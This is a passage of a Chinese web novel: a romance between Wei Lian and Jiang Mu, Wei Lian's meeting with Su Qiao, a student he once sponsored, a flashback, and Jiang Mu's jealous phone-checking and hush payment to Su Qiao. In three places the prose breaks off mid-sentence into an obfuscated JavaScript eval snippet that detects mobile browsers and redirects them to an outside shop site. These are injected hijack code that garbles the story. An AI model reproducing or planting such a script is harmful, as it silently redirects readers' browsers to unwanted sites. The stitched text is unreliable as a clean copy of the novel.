足足三秒,然后一改方才的模样,人带着东西就快步走过来,我有些意外的抬头看着他,江暮一跨,干脆坐在我腿上,我连忙调整坐姿往后挪,也不知道他下一步打算干什么,画笔放也不是拿着也怪。 我说:“生气啦?” 江暮抿着唇,张开双手环着我的脖子,小动物似的贴紧我,我安抚的拍拍他的背,能感受到他皮肤细微的颤抖,调笑道:“你听到震动声了吗。” “......” 我摸了摸他的腹部:“应该是你的手机忘开静音了。” “哥......”他换了计策,开始撒娇了,呜咽道,“哥,哥,呜......哥。” “我在呢。” “魏敛哥——”他几乎要大声哭出来了,在他心里我大概是个多狠心的人呐,竟让就这样晾着他,让他一个人难堪,“你不能不管我...不能——” 我抱小孩一般一手环住他的腰一手抚摸他的后颈,明明江暮已经是个大人了,可总是在我面前不经意间露出这般狼狈又低微的模样,而我甚至一时间无法分清我的想法——究竟是希望他能够硬气起来,还是一辈子就这样,就这样乞求我的拯救。 我很确定我并没有白骑士综合征。 “刚才逗你玩的。”我亲吻他的左耳的耳垂,上面有一枚银色镶边的红宝石耳钉,我记得自己曾经有一枚大差不差的,这孩子......我叹了口气,假若有一天我真的死了,他该怎么办呢? 此时此刻,想到死亡,我第一时间的反应不是解脱,而是江暮该何去何从。 “那就现在。”江暮说,“就现在。” “......”我无奈地笑了,“好。” 晚饭到底没吃成,改成了宵夜,江暮从浴室出来,心情看上去比之前好了不少,边擦头发边走到我身边,问我:“外卖还有多久到啊?” 我说:“手机在桌上,自己看。” 他看似不经意的问:“没密码吗?” “123456。”我顿了顿,“等会儿,手机给我,我想起来一件事。”可别让他翻到我的聊天记录。 江暮小心的坐到我旁边,怎么坐都感觉不舒服,毛巾耷拉在脖子上,发尾湿漉漉的黏在一起,我支他离开:“还有十分钟到。你先去吹头发,别到时候头痛。” 江暮却狐疑道:“干嘛不让我看你手机。” 我装傻:“哪里不让你看了,密码不都告诉你了。” “......’江暮眯着眼,笃定道,“你撒谎。” 这人真是神了,我不能露出心虚,只能冷淡道,“去吹头发。” 江暮没动。 我把手机递给他,言简意赅道:“看。” 江暮看了看我的手机,又看看我,突然不敢动了:“干嘛......” 我淡淡道:“不是你说要看?” 江暮谨慎的接过手机,见我面无表情,又将手机塞了回来,我忍着没笑,他估计也觉得这样的自己窝囊,想立马离开这,可身体不适,只能缓缓站起来,连带着说话也慢了:“......你以为我想查岗吗?我没那么无理取闹。”他转身,“我去吹头发。” 我在他身后无声笑着目送他一瘸一拐的走去拿吹风机,直到看不见人,才拿起手机准备把和我妈的聊天记录删了。打开微信发现竟然有新的朋友添加消息。 我点开请求,看见上面的备注: ‘你好,我是后天和您见面的那位男生。’ 17. 出院 为了确保万无一失,我赶大早的亲自送江暮去机场,江暮有些意外,离开时又舍不得,很可怜的问我:“......不能和我一起吗?” 我说:“乖,下次。” “下次,你自己说的。” 我无奈道:“嗯,下次你出差我一定和你一起。” 江暮总觉得哪里不对劲,又说不上到底哪里不对劲,凝视我许久,还是问了:“为什么这次不行?你有什么要紧的事吗?” 江暮的第六感为什么能这么准?我佯装不耐:“就是不想去,别问了,很烦。” 江暮不满我的态度,但不想跟我吵架,撂下一句:“行,那你烦着吧。”然后拖着行李箱走了。 我愣了下,瞧他越来越远的背影又觉得好笑,换以前的江暮哪里敢这么顶嘴,看来这三年的分离把他惹得不轻。 恐日久生变,江暮出差的第二天我就跟‘相亲’对象见了一面,选了一家人比较少的西餐厅,比约定的时间提早到了十几分钟。我记得那人的名字叫吴之洲,比我小两岁,现在在某外企工作。 施微女士给我看过他的照片,我当时沉默了两秒,无奈开口:“你拿别人的高中毕业集体照给我看干嘛?” “这不能看出他更纯天然吗?” “......你说的像江暮哪里整过一样。” 施微哎了声:“我可没比较。” 见到真人的时候还是愣了下,长得有点太年轻了,看起来比江暮还小,吴之洲见到我先是盯着我的脸看了一会,确认好后才露出一个笑脸:“你好,我是吴之洲。” 我点头:“魏敛。” 吴之洲开门见山:“抱歉,其实我有男朋友了,但是因为一些原因暂时没法和家里介绍他。” 我挑了挑眉:“那正好,我也是。” 吴之洲又说:“但是我认识的一个学弟他很喜欢你。” “......?” 吴之洲解释:“他小我两届,和你同一个大学,跟我关系一直很不错。” 我感到很莫名其妙,我自认为在学校的美术学院里不算名人,疑惑道:“你确定他认识我?” 吴之洲点头:“你大四那年他正好大一,参加了摄影部,你们拍毕业照的时候他也在。” 我说:“你的意思是他在旁边拍了一张我们班的毕业照,就喜欢上了我?” 吴之洲笑了:“当然不是了。”他顿了顿,“你要是不反感的话,和他亲自聊一聊?” 我立马就要拒绝,人快三十了,自然会讨厌预料之外的麻烦,江暮一个人就够我头疼了。但还没等我说话,不知道从哪个位置上窜出来一个人影,十分自来熟的拉开第三把椅子,紧张又讨好的朝我笑:“魏学长好。” 我:“......” 吴之洲抱歉的起身:“那今天我的任务就都完成了,给您添麻烦了魏先生,其实我本来没答应这小子,但耐不住他死缠烂打......” 我不大愉快的也站了起来,说:“没事,既然咱们面见完了,我也好交差,就先走了。” 没想到旁边的这小子竟然拉住我的衣袖不让我走,我暗啧了声,低头看他,看在是同一个学校的份上给了他两分薄面:“不好意思,我还有事。” 他声音紧张到发抖:“我叫苏桥,魏学长。” 我脑子里没这号人:“好的苏桥,你刚才没听到我和吴之洲的对话吗?我有男朋友了。” 苏桥结巴道:“我,我知道。” “知道就松手,在外面我也不想不留情面。” 苏桥连忙道:“给我五分钟好吗?”他见我眉头皱起,可怜道,“求你了。” 我深呼吸一口气,还是坐了回来,冷漠道:“有事就说吧。” “魏学长,你救过我的,你忘记了吗?” 我压根没这印象,直言道:“不好意思,不记得了。” “你以个人名义资助了一个贫困生五年……那个人是我。” 我这下实打实愣住了,看了好几眼苏桥,不大确定:“……姓倒是一个姓,可是名字对不上。” 苏桥紧张道:“因为那个名字不大好听,所以我改名了。” 资助贫困生这事属实,十七岁的时候闲着没事,拿自己的零花钱随便挑了个进行资助,持续了五年,不过我从来都不联络他,只是兢兢业业的打钱,最后一笔是我估算完大学第一年所需要的学费后,将钱打过去就断了资助。 从头至尾,我只模糊的记得那个除了姓氏外,确实有些马虎的名字。 “我给您发过一次短信……可是您没有回。”苏桥见我想起了这事,变得恭敬起来,“我一直想感谢您。” 或许是因为资助这层关系,我的表情变得缓和起来,也没有之前那样排斥,堪称和颜悦色道:“看来我的钱也没白花,至少你考的不错。” 苏桥抿抿唇:“那天拍毕业照,社团的人告诉我您就是魏敛的时候,我就想找学长您了,可是那天您心情似乎欠佳,我怕您讨厌我的多嘴……” 我没想起来拍毕业照那天发生了什么令我烦躁的事,笑着摇摇头:“不一定是我心情欠佳,很大可能是我压根没什么表情,所以看起来像在生气。”我指指自己的脸,“你也看得出来,我长得其实不算亲和。” 苏桥看了我两秒,忽然又低下头,耳根红了起来,结巴道:“可,可是我,我觉得,觉得很帅。” 我无奈的双手抱胸,说:“所以你说你喜欢我,是怎么回事?” “我……”他的脸色一下又惨白下去,“我是个同性恋,高中的时候发现的。” 我点点头:“然后呢。” “见到学长您的时候,我不知道为什么……”苏桥尴尬道,“我本来只是想见您当面感谢,可是真的见到您的时候,也不知道,也不知道为什么……”他声音逐渐小了下来,“突然感觉到喜欢您。” 我沉默了两秒,问他:“是因为我的长相?” 苏桥猛地抬头,说:“不是的!” 我笑了笑:“不是吗?” “反正不全是……”苏桥解释道,“我发誓学长,我见过很多帅哥,但是都没有心动,我就是,就是只喜欢你!” 我摇摇头:“你对我压根不了解,那样的喜欢不能称之为喜欢,那只是你的一种幻想。” “学长——” “我的脾气很怪,对恋人不体贴,不会照顾恋人的情绪。”我开始了自己对江暮的自省,“帮助一些人,只是会让我觉得自己有存在的价值,会让我感到一种安慰,我的出发点不是为了你们好,你们大可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087957|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不必为我赋魅。” “甚至我的有些帮助,也并没有产生积极作用。”将江晖的电话号码给江暮,间接导致他的母亲自杀,一直是我的一个心结,它和孙伊佳的自杀像两株藤蔓,攀在我的心头。 我明白那些责任并不真正在我,但也只停留在明白的那一层面。就像人明白胡思乱想只会让自己变得糟糕,但人无法停止胡思乱想。 我对苏桥道:“我想问你,这么多年,你谈过恋爱吗?” “谈过。”苏桥没有隐瞒,“我也有对自己的喜欢产生质疑,所以谈过两任,但是都没有坚持很久。”他顿了顿,连忙道,“我不是想称赞自己对学长您的感情有多深情,我只是想解释,我曾经尝试去证明这种喜欢是出于幻想,可是最终证明的结果并不理想。” “后来我想去找您,可是我不知道您去了哪里。”苏桥挠挠脸,“是吴学长知道我还喜欢你,正巧你们今天还来相亲……吴学长知道您会拒绝我,想劝我死心,才让我跟着来的。” 我挑挑眉:“所以你现在死心了吗?” “……没有。” “苏桥,我有男朋友了。”我敲了敲桌子,提醒他,叹气道,“所以你的确得死心。” 苏桥不知从哪里升起来一股勇气:“可是你们不能结婚!总有一天会分手的。我就是想等分手后的那个机会——” 我明白总有一天我和江暮会分手,可这句话由外人说出来着实让我感到不爽,我的表情大概不太好,苏桥被吓得愣住了,他长得很清秀干净,看起来就是好好学习十分老实的那种人,他这幅模样倒让我觉得自己过分了。 我抬起手示意他停:“苏桥,说话注意分寸。” 苏桥立马低头:“对不起,我口不择言了。” “好了,不要闹了,大家都是成年人,有些没法想通的事情未来某一日总会想通的。”我站起身,“我资助你,是想你生活的更好,而不是这样轻贱自己。” 苏桥整个人僵住了,我见他没说话便准备离开,哪想到他忽然捂住脸,哽咽道:“可是学长,我就是喜欢你啊。我更喜欢你了啊。” 我:“……”怎么这样。 苏桥抬头看向我哀求道:“我,我想加您的微信,可以吗?” 我立马拒绝了:“不行。” 他的眼眶更红了,似乎很委屈:“我不会打扰你的,不会主动给你发消息,如果我这样做了,您可以马上删除拉黑我。” 我头疼道:“苏桥,你这样又有什么意思?” “您资助了我五年,我就想要个联系方式,以后过年的时候给您寄点礼物。”苏桥轻声问,“理由正当,不算过分吧?” 这要被江暮这小孩儿知道了我还能有安生日子吗?到时候又要哭着质问我了,我想想一个头两个大,绝情道:“真的不行,苏桥。” 苏桥见我真的要走,跨步挡在我的前面,我顿住脚步,脸色明显难看起来,显然是真的生气了,可苏桥仍然不让步,我冷声道:“别闹了。” “……” “啊……”我捂着脑门,长长的叹了口气,第一次想要是江暮在这就好了,至少能帮我解决眼下这件事,“只加微信,其他的别多做,我的恋人要是看到了会生气,他会找你麻烦的,到时候我拦不住,也不会拦着。” 18. 回忆 “你被谁打了?” 魏敛盯着他脸上的那处巴掌印,眼神忽然变得很冷:“江暮,谁打的?” 江暮缩着头,一副被训的样子,魏敛见他这副害怕的模样,眉头一松,无奈的叹了口气:“我不是在凶你,为什么害怕?” 江暮说:“......我也不知道。”他看到魏敛对自己冷脸就要害怕。 “脸上的巴掌印怎么回事?”魏敛问,“你现在已经十九岁了,谁还能这么对你?”这话问出来其实魏敛心里已经有数,不过他需要江暮自己出说来。 江暮小声说:“没关系的,是我的问题。” “江暮。”魏敛皱眉道,“你什么时候能——”他想让江暮挺直胸膛,不要那么软弱,如果是因为寄人篱下才不得不如此,但他想让江暮知道,自己也是他的靠山。 可是他不是江暮,无法感同身受他身处江家却如同外人的难处,因此话说到一半又止住了,魏敛转了话头:“是江晖还是陈浣?”他心情不佳,连两位长辈都不想用尊称。 江暮扯了扯他的手,说,“无论是谁,你不要为我出气,好不好?” 魏敛被他这样的态度气笑了,嗤道:“我能给你出什么气?江晖和陈浣哪个我能对付?” 江暮抿抿唇,反倒被他的阴阳怪气说的放下心来:“是陈浣阿姨,但是......”他顿了顿,“父亲是默许的。” “打你的原因。” “我想去给母亲扫墓,可我不知道他们将我母亲安置在了哪个墓地。” 从魏敛这个角度看,江暮低着头,双手背在身后,像是幼儿园正在认错的孩子——当然,魏敛无法发现他背后握紧的拳头,以及低下头时充满怨恨的双眼,“他们一直不肯告诉我,也不允许我去扫墓,父亲说,传出去别人会议论。” ‘陈浣她性子急了点,但这几年对你也算不错。江暮,有些人离开了就结束了,如果实在无法忘怀,放在心里挂念也已经足够。’江晖看着站在他面前,神色冰冷的江暮,两个人隔着一张书桌,江暮站着,而江晖坐着,江暮低头听着,而江晖昂首说教着。 ‘等以后你进了集团,能在里面站稳脚跟,想什么时候去扫墓,就什么时候去。’他笑眯眯的安抚,‘到时候,陈浣也没法说你什么。’ 你以为我会感恩戴德吗?江晖。 一切都是你的错不是么,为什么要让一个深受你害被逼疯的女人去唱白脸,却让自己假惺惺的扮演好人。 江暮并不感觉脸上那处巴掌有多疼,那一掌像是将他的幻想打了个清醒——没错,他仍旧需要继续顺从,他手上一点实权都没有,甚至还没有走出学校这个乌托邦。等待是唯一的正确答案。 江暮自然也不可能一气之下离开江家,离开江家等于离开a市,离开a市,他就再也见不到—— “怎么又不说话了。”魏敛用手背轻拍他的脸,“人还在吗?” 江暮回过神,他抬头看见魏敛担忧的望着他,身体似乎都渐渐暖和起来。 他先是说了句不好意思,然后才继续道:“可我总是梦见妈妈在梦里哭,所以我想回一趟家。”那个和燕之淇一起生活过的家。 “我到了记忆中的地方,可那里早就成了一片废墟,听说之后要开发,所以老房子全拆迁了。”江暮说,“我们那里没有墓地,都是土坟,建在山头,人钉死在木棺材里,挖一个很深的坑,将棺材埋下,再把土填回去,上面堆成一个耸起的坟包。” 江暮说着说着不知道为什么,想到了燕之淇每年清明都会带他去看外婆的画面。路上燕之淇总是很少说话,山路弯折,许多都被杂草覆盖,燕之淇瘦小的身躯却走在他前面,她拿着一把镰刀,遇到实在挡路的杂草就挥起镰刀,熟练的将它们砍干净。 “江暮,记住路了吗?”燕之淇回头看他。 江暮愣了下,点点头:“记住了的,妈妈。” 燕之淇很认真道:“以后我死了,你有空的时候也别忘了过来给你外婆烧烧纸。”她低声道,“我没能让她过上好日子,也治不好她的病。” 到最后,江暮没能找到燕之淇究竟安葬在哪里,也没有时间去给外婆扫墓,因为江晖问他在哪,催他回来,说晚上去陈家聚餐,陈家的老爷子想见见他。 好事不成双,但坏事一定是成堆的跑过来。 他被发现偷偷跑回老家,甚至不一定能及时赶回晚宴。所以当陈浣扇出那一巴掌的时候,江暮心里甚至松了口气——终于是来了。 “乡下来的老鼠怎么养还是一只老鼠。”陈浣嫌弃的甩甩手,“让全家人一起等你,你心里十分得意吧?” “......我母亲到底葬在哪里了?”江暮看向陈浣身后的江晖,“这么多年,哪一次我有违抗过你、违抗过你们的命令?为什么连这件事都不肯告诉我。” 江晖仍旧是笑着,他转身向书房走去:“江暮,到书房来,我们父子之间应该好好聊一次。”他说,“你实在是不懂规矩,下次再惹陈浣生气,我也要罚你。” 陈浣的怒火这才消弭许多,哼了声:“早该好好管管了。” —— 江暮读的是a市本地的大学,学校以及专业的排名非常高,大抵使江晖的面子过得去。江家的安排是本科在国内读,等到江暮毕业,再送他出国读一年制的硕士镀层金。 眼下江暮大一,就已经申请了外住,毕竟江晖经常会给他安排其他事情做,住在宿舍很不方便。 江暮的人身自由被严格管辖,魏敛却不是,听完江暮的叙述,魏敛心里一直惦记着。 “我要去趟江暮的老家。”魏敛的机车停在了江边,他半靠坐在上面,一只腿笔直修长的撑住地面,嘴里叼着根棒棒糖,说话有些含糊,“他上次好不容易偷溜回去一趟被发现了,连他外婆的墓都没来得及扫。我回去帮他把这件事做了。” 孙伊佳回国待了一小段时间,明天又要回e国继续她的读博生涯,听魏敛说要去江暮老家,惊讶道:“这也太麻烦了吧,你不是最怕麻烦了吗?” 魏敛说:“我知道他被扇巴掌,不可能什么也不做。”魏敛耸了下肩,“但是江家那两个长辈我什么事都没法做,便只能想到这个了。” “这倒也是。”孙伊佳犹豫了一会儿,还是想在出国前和魏敛好好说一次,“但是魏敛,别怪我说话难听,我还是觉得,江暮他对你的感情不太一样。” 魏敛很直男的疑惑地睨了她一眼:“你小说看多了吧你。” “......真不是!”孙伊佳指指自己的脑袋,“这是女人的直觉,直觉懂不懂?” “江暮除了对我稍微话多了点,还有什么能值得说道的?” 孙伊佳很无奈的把后面的话噎住了,江暮在魏敛心里地位很重,他把他当弟弟一样宠,自然而然的把所有异样全部忽视了,连她这个好闺蜜说话都没有任何警醒作用。 “我多嘴,真不该和你说这个的。” 魏敛咬碎最后剩余的那点棒棒糖,舌钉跟细碎的糖块在嘴里撞来碰去,他意味不明的笑了声:“江暮那小子要真对我有那种心思,算他下半辈子倒霉。” 当朋友和兄弟,他魏敛称得上仗义,但一旦成为恋人,朝夕相处下摊上他这样有精神疾病的恋人,除了不幸,魏敛想不出有任何词语去形容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087958|195396||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他戴上头盔,长腿一跨,“我先走了,江暮今天晚上没什么事,约我吃晚饭,你开车出来的,我就不送你了。” 吃饭的时候魏敛十分直白的问江暮他外婆葬在大概哪个地方,叫什么名字,江暮愣了下,先是很乖的回答了魏敛的问题,才询问:“哥你问这个干什么?” 魏敛也不隐瞒搞惊喜那一套,他没这个情趣,坦白道:“替你做完那天没来得及做的事。” 他面色平淡的把切好的牛排放到江暮面前,又把江暮那份整块的端到自己面前,继续慢悠悠的切着,“江暮,你现在虽然成年了,可对于社会,对于江氏集团来说,就像个刚出生的婴儿一样。” “很多事情,你没有选择权,我都知道。”魏敛放下刀叉,“但是你有选择的意向,告诉我你的意向,我会尽力帮你。” 魏敛抬头,见江暮眼眶红了,笑着叹了口气,食指擦拭掉他眼角的那滴泪,温柔道,“怎么那么爱哭呢?还是小孩吗?” “我——” “在我心里,你就跟我的亲弟弟一样。”魏敛摸了摸他的头,“你的事,只要我能帮,就会帮你。” 江暮表情空白了一瞬,他抿抿唇,低下头不说话了。 魏敛还以为他不好意思,笑道:“以后假若真的在江氏站稳脚跟了,对我好一点就行了。” “......不够。” “嗯?” 江暮双手捧着魏敛的手掌,把他放在了自己的脸庞,像一只漂亮又乖巧的宠物,侧脸贴住了魏敛宽大的掌心。他能感受到掌心的温度,很暖和。 与魏敛相反的是,江暮眼睛的颜色很黑,看向别人的时候会让人感觉像没有神采的空洞的人偶,如果一直盯着的话,那漆黑的眼珠就更有些像已经死去的鬼魅。 他们都是这样说江暮的眼睛的,连孙伊佳都不太习惯和江暮长时间对视。 可是。 魏敛仔细地在心里描摹着江暮的脸,包括那双眼睛。 究竟是他们对江暮有成见,还是自己的感知有问题? 魏敛像在为心爱的宠物梳理毛发——当然,他并不认为江暮是谁的宠物——他的手指穿过江暮的头发,将一些撩到耳后,调侃道:”不够什么?“ “...只是那样,还不够好。”江暮红着脸,明明想要很严肃很认真的告诉魏敛,可惜被他的动作撩拨,连说话都有些发颤,“我的一切都是魏敛哥的,我得到什么,哥哥也得到什么。” 魏敛顿了下,心想这算什么?雏鸟反哺报恩? 魏敛本想秉持着无功不受禄的态度摇摇头,但是看到江暮那副较真的模样,怕拒绝会惹人难过,便笑着逗他道:“嗯,江暮是好宝宝。” “......” 江暮的脸比刚才更红了,像要被蒸熟了一样,他瞪大眼睛,咬住嘴唇,呆愣的望向魏敛,魏敛漫不经心的挑了下眉,还没来得及说什么,江暮就立马双手捂住脸低下头去。 小孩儿面皮真薄。魏敛好笑的想。 “还吃吗?”魏敛问。 “呜...”江暮从手指里露出两只眼睛,像受惊的动物观察正在进食的魏敛,魏敛感受到了他的视线,心想他们那些人究竟是为什么会觉得江暮的眼睛吓人呢?明明很漂亮不是吗? “哥哥......’ “嗯?” “哥哥......” “我听着。” 魏敛拿自己的叉子往他盘里插了块肉。 “我,我其实——” 魏敛把那块肉送进正在说话的江暮的嘴里,说:“我要是吃完了,不会在这等你的。不准磨蹭了。” 19. 出院 江暮出差的第二天晚上,打电话向我‘查岗’,问我今天都去干了些什么。 彼时我正在工作——没错,我目前的工作就是在家画画,算个自由画家,画作卖了也算不少,有一些自然是江暮瞒着我购入的,至于剩下的究竟是看在我妈我爸的面子上买的,还是真的欣赏我的画作,不得而知。这东西没法改变,好在我对于这种事开的很开。 每个月的收入也算能自给自足,以前有时候心情好还会给爸妈和江暮买点礼物。想到这,我似乎很久没给江暮送过东西了,上一次还是在三年多以前。 “今天出去逛了逛。”我隐藏了部分事实,但至少没说谎。 江暮知道,比起出门,我更愿意待在家里,于是询问:“……出去了?你一个人吗?” “你想我和别人一起吗?”我反问。 江暮立马善解人意道:“我又不干涉你的社交自由。” 我听完忍不住笑了:“是吗。” 江暮很成熟的点点头,我说:“那好,下次——” 见我这样说,江暮又反悔了:“但他们都不行,他们都照顾不好你。” “我不需要照顾。”我说,“江暮,你照顾好你自己我就放心了。” 江暮没吭声,我说:“好了,等你回来。” 或许是这句话取悦了江暮,他有点开心,没忍住把昨天上午的事说了:“哥,下次能不能不要说我烦了啊?”他觉得自己已经很努力不粘着他了。 看来那句话真伤到他了,我说:“对不起,下次不了。” 江暮愣了下,忙道:“我不要你说对不起。”他急得要从电话里跳出来了,“你不能说对不起——” 我无奈的笑了:“嗯,下次不当你面说对不起了。” 江暮现在给外人的感觉和十多年前的江晖越来越像,抛开长相外,做事的风格都有些相似。 我朋友说都有些阴险。 我不喜欢听别人这样说他,即使是从小玩到大的也不行,但我朋友很无辜道:“卧槽,你怎么偏心那小孩偏心成这样啊,他前段时间才刻意压低价格坑我呢,简直是扰乱市场啊。” “这才二十五岁就阴成这样了,以后还不得吓死人。” 对于唯利是图的商人来说,也不能说哪里坏,但我总感觉阴险这个词和江暮呆在一起很违和。 不过我确实得承认,有时候是我太护短了,江暮这人做事偶尔是真的有些不大光彩。 我不爱拿手机进浴室,那天江暮刚出差回来,缠着我在床上做了两回,事后他让我先去洗澡,说自己太累了,先躺一会儿。他趁我洗澡的时候偷偷摸摸的看我手机,因为他心里一直有疑虑,至于是什么疑虑,江暮又说不清,可直觉总是告诉他我有事儿瞒着。 密码还是123456没变过,如果告诉他密码后我又改密码,倒显得欲盖弥彰。但我要早知道他要像个贼一样查手机,还不如改密码。 江暮听着浴室的水声,面无表情的输入密码,先是看了通话记录,再查看短信,除了垃圾短信和银行就没了,最后才点开微信。 我微信几乎不主动加人,卖画也是委托别人帮我对接,再者江暮很清楚我交友圈究竟是哪些人——他那几年都记在心里,摸了个干净。 他身上拢共三心眼子,一个放在公司,一个放在江家,一个放在我身上。 我简直无话可说。 所以江暮很轻易地就看到了那个陌生的名字躺在我的联系人里。他点开聊天框,上面显示了同意这人加为好友的时间是他出差的第二天。 这使一向敏锐的他意识到,我大概欺骗了他,且那天出门,一定是有目的性的。 江暮的眼神瞬间冷了下来,他嘴里无声的念叨这个名字:“苏、桥?” 但幸好,我并没有回苏桥的那几条主动问好的消息,这使得江暮心里略感宽慰。 等我洗完澡出来,江暮已经睡着了,他蜷缩在我的位置上,将被子笼盖住自己,我的手机好好的放在桌面上。 我将被子掀起来一半,叫醒他:“洗澡。” “......我不舒服。” 我说:“很脏。” 江暮闷闷地笑:“都是你的东西,哪里脏?” 我冷漠评价道:“我的更脏。” 然后他突然用食指和中指划过那几块不大明显的腹肌,手指带着那里我残留的东西,放进了他的嘴里。 我:“……” 江暮见我沉默,跪坐起来,张开嘴吐出舌头,下一秒笑得很荡漾:“好吃。” 我面无表情的看完他的动作,不知道为什么有些烦躁,冷着脸把他拽下床拖向浴室,江暮瘸腿的勉强跟上我的脚步,直到我松手,他才老实,站在花洒下面,要再去牵我的手。 我躲开了:“洗澡。” “……干嘛生气?”江暮问我,“你对别人也会这样吗?” 我实话实说:“对于所有不爱干净的人,我都这样。” “即使我现在很不舒服,动一下就痛,也不能例外吗?” 不是他缠着我做两次的吗?为什么事后又来说痛。江暮这个人为什么不懂得重视自己的身体?我皱眉道:“你为什么总会觉得自己有这样一份例外?” 江暮这辈子什么难听的话没听过,但只要我用那微小的恶意轻轻扎他一下,他就会感到万箭穿心而过。江暮想要握住我的手变了方向,稍稍推开我,下一秒花洒便打开了,浇了他一身,溅起的水珠跳到我的衣服上。 “开玩笑的,就今晚这点强度,我还好的很呢,怎么可能不洗。”江暮说,“哥先别睡,等我清理完就把床单换了。” “我换就行。”什么高级四件套,我又不是不能换。 江暮笑得弯了弯眼睛:“我怕让你来,等我清理完了你都没把被套套好。” 我无奈道:“我不是弱智。” 江暮不知道怎么想的,忽然上前一步,抓住我睡衣的领子,抬头亲了上来。 他凝视我半晌,说:“是小少爷。” 大概是我的表情比较难以言喻,江暮哈哈大笑起来,下一秒他单膝跪下,抬头微微张嘴伸出点舌头,撩起眼帘看我:“可以吗?” 我当然不想,立马转身离开了:“老实点,洗你的澡。” 江暮在身后幽幽道:“真狠心。” 我暂时不愿再理会这个人。 趁江暮洗澡的时候我把床单被套全换了,找出全新的套上去,江暮出来时颇为震惊,咂舌道:“哥哥,你真会啊?” “……在你心里我究竟是有多十指不沾阳春水。” 他像小狗一样钻进被子里滚来滚去,刚吹干的头发也像一头狗窝顶在上面,江暮开心道:“我不换啦。” 我不明白他方才发疯什么劲,现在又开心个什么劲,江暮有时候比我更像个精神病,我说:“不换什么?” “床上这些东西,哥哥套上去的,所以我不换了。” 我好笑的站在床边,推了一下他的脑袋:“你这小孩儿少胡说八道。” “下次你还会再换吗?”江暮问,“我可以帮你,我们一起。” 我不懂他为什么执着这个,后来江暮告诉我,他认为我和他在家共同完成一件事情,会让他觉得我和他真正的有在同一个屋檐下生活,而非只是短暂的寄宿。 “看我心情。” “什么时候心情好?” 我瞥了他一眼,揉了揉他的头发:“你乖一点。” 江暮笑:“我一直都很乖,很听哥哥的话。” —— 当然了,有些时候做一些不乖的事情,是时局所致。江暮想——并非他故意,他也不想这样做的,可是如果不这样做,哥哥又跑了该怎么办? 苏桥接到这个陌生的电话时,人还在工位上,以为是骚扰电话,开口语气便不大好,先发制人道:“不需要谢谢。” 江暮笑道:“不需要什么?” “……你是谁?” “我是魏敛的朋友。”江暮说,“他现在喝醉了,你能过来接一下他吗?” 苏桥立马着急道:“魏学长喝醉了?你们在哪?我马上来!” 现在是大白天,不过苏桥不疑有他,拿到地址便请了半天的假去接人。 他到了酒吧的时候除了几个酒保外一个客人也没有,苏桥甚至有些后知后觉的警惕起来,他暗暗想不会遇到杀猪盘了吧?他没什么仇人,也没有欠款,因为穷的可怜,物欲又不高。 出来工作到至今银行卡里存款也只有两万,骗他简直白费力气。 “我在这,苏桥。” 苏桥循声望去,只见到一个长相清隽的男人坐在角落的座位里,向他招招手,眉梢带笑道:“这里,过来坐吧。” 苏桥疑虑的慢腾腾走过去,站到他面前,这个男人面容白净,说话调子慢悠悠的,眉梢带笑,眼睛看向他的时候总让人下意识感觉十分亲近。 苏桥注意到这人左耳有一颗红色的耳钉,于是马上联想到了魏敛。 江暮抬头看他,问:“不坐吗?” 苏桥不打算在这个地方久待:“魏学长呢?” “……魏学长?”江暮嘴里咀嚼这三个字,笑了笑,“你和他,是同一所大学毕业的?” “对。”苏桥说,“所以他人呢?” “人当然不会来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏桥不知道这人怎么回事,听完他的话忽然一言不发的站了起来,凳子摩擦地面发出刺耳的滋啦声。 方才江暮穿着西装,身型被包裹在西装里显得瘦削,此时他起身,苏桥这才发现这个人其实很高,至少比他要高。 江暮眼神冰冷的低头看着他,半晌笑眯眯道:“你的意思是,魏敛哥十七岁就和你认识了吗?” 这个世界上,为什么总会有人比他的羁绊还要深还要早呢? 一定一定要,把好不容易才回来的人,又从他身边夺走吗? 一定要如此吗? 江暮兀的道:“手机给我。” 苏桥皱眉道:“你干嘛?”他觉得这个人精神不太正常,一惊一乍的。 “魏敛哥让我和你认识认识。”江暮笑道,“加个联系方式吧?” 苏桥:“……?”他迟疑的点开微信,哪料到他刚点开微信,江暮就夺过他的手机,扫了他的收款码,下一秒他就被眼前这个男人转了五千块。 江暮将手机丢给苏桥,说:“不要和魏敛提起我找过你这件事,知道么?” 苏桥一时间没反应过来发生了什么事,江暮便离开了。 江暮以为这个人拿到封口费就应该老老实实的闭嘴,没想到苏桥晚上就向我告状了。 【魏学长,今天你的恋人说你喝醉了,让我来接你,然后我们见了一面。】 【……他大概误会了什么。】 我看着那行消息,一再确认。 【……江暮找你?但我没和他提起过你。】 【我也不知道,然后他还给我转了五千块钱,不过我觉得我不能收。】 说着就给我转了五千,我给退回了。我去找江暮,他正在厨房里做饭,我说他今天怎么回的这样早,还说要给我做饭,原来下午没去干正经事。 “下午去哪了?”我倚着门,看穿着围裙的江暮熟练的切菜,心里竟然十分平静,大概是因为我早有预料。 江暮停下刀,但很快又重新动作,他如常道:“去了一趟证券交易所。” “是吗。” “怎么?” 